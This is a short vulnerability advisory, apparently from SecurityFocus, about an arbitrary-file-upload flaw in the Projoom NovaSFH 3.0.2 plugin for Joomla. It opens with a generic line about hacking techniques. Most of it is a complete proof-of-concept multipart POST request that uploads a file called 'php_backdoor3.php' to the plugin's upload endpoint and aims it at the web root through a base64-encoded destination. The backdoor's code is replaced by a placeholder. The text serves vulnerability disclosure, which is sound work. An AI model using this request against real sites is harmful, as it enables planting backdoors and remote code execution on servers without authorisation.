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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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source: https://www.securityfocus.com/bid/65438/info

Projoom NovaSFH plugin for Joomla! is prone to an arbitrary-file-upload vulnerability because it fails to adequately sanitize user-supplied input.

An attacker may leverage this issue to upload arbitrary files; this can result in arbitrary code execution within the context of the vulnerable application.

Projoom NovaSFH Plugin 3.0.2 is vulnerable; other versions may also be affected. 

POST /administrator/components/com_novasfh/views/upload.php?action=upload&dest=L3Zhci93d3cvaHRtbA== HTTP/1.1
Host: <IP>
Proxy-Connection: keep-alive
Content-Length: 513
Origin: <originl>
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.95 Safari/537.36
Content-Type: multipart/form-data; boundary=----------ae0cH2Ij5ei4ei4Ef1Ij5Ij5ae0cH2
Accept: */*
DNT: 1
Referer: http://<host>/administrator/index.php?option=com_novasfh&c=uploader
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8

------------ae0cH2Ij5ei4ei4Ef1Ij5Ij5ae0cH2
Content-Disposition: form-data; name="Filename" 

php_backdoor.php
------------ae0cH2Ij5ei4ei4Ef1Ij5Ij5ae0cH2
Content-Disposition: form-data; name="Filedata"; filename="php_backdoor3.php" 
Content-Type: application/octet-stream

[PHP_CODE]

------------ae0cH2Ij5ei4ei4Ef1Ij5Ij5ae0cH2
Content-Disposition: form-data; name="Upload" 

Submit Query
------------ae0cH2Ij5ei4ei4Ef1Ij5Ij5ae0cH2--